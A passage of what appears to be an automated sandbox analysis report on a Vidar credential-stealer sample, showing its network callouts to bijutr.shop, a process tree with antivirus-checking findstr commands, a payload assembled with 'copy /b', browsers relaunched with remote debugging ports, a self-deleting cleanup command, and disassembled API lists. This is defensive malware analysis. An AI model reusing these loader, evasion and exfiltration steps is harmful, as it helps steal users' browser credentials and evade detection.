2024-12-24 18:28:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 59 2f 4e 76 71 70 36 34 67 30 32 79 76 70 74 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 64 62 63 62 65 62 62 66 34 36 35 33 36 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Y/Nvqp64g02yvptr.2Context: 4edbcbebbf465365<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-24 18:28:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 2f 4e 76 71 70 36 34 67 30 32 79 76 70 74 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 64 62 63 62 65 62 62 66 34 36 35 33 36 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Y/Nvqp64g02yvptr.3Context: 4edbcbebbf465365<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:28:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:28:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 4c 6f 6d 4f 6b 36 51 2f 45 57 44 34 56 6e 53 42 4f 49 4c 52 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1LomOk6Q/EWD4VnSBOILRQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50117	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:54 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MY58GDTJM7GVAAAIE3WB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:54 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 59 35 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 35 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4d 59 35 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 0d 0a 43 6f 6e 74 Data Ascii: ------MY58GDTJM7GVAAAIE3WBContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------MY58GDTJM7GVAAAIE3WBContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------MY58GDTJM7GVAAAIE3WBCont
2024-12-24 18:28:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:26:53
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\PodcastsTries.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PodcastsTries.exe"
Imagebase:	0x400000
File size:	1'259'108 bytes
MD5 hash:	20BEF33E4A0ADD922AE043E2AED13EA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:26:54
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:26:54
Start date:	24/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:26:54
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xda0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:26:54
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x2b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:26:55
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xda0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:26:55
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x2b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:26:56
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 680662
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:26:56
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Memo
Imagebase:	0x910000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:26:56
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "OBTAINING" Compensation
Imagebase:	0x2b0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:26:56
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Honey + ..\Biotechnology + ..\Enzyme + ..\Harvard T
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:26:57
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
Wow64 process (32bit):	true
Commandline:	Billion.com T
Imagebase:	0x130000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000003.2541281715.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000003.2540896451.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.3327789976.0000000004110000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3329936932.000000000446D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000003.2541052285.0000000004391000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:26:57
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x470000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:27:53
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:27:54
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2236,i,6734849523328560890,2082883044191278633,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:28:07
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:28:08
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2644,i,11626362328839299317,9747645851488831929,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:28:08
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:28:09
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2052,i,17749502471063055911,16474361137930384879,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:28:18
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:28:19
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2412,i,5564331809908688110,6573540988472131423,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:28:19
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:28:19
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:28:23
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6356 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:28:23
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	13:28:24
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:28:24
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:28:54
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\680662\Billion.com" & rd /s /q "C:\ProgramData\IMYUKNY5XBIE" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	13:28:54
Start date:	24/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	13:28:54
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x690000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	26

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
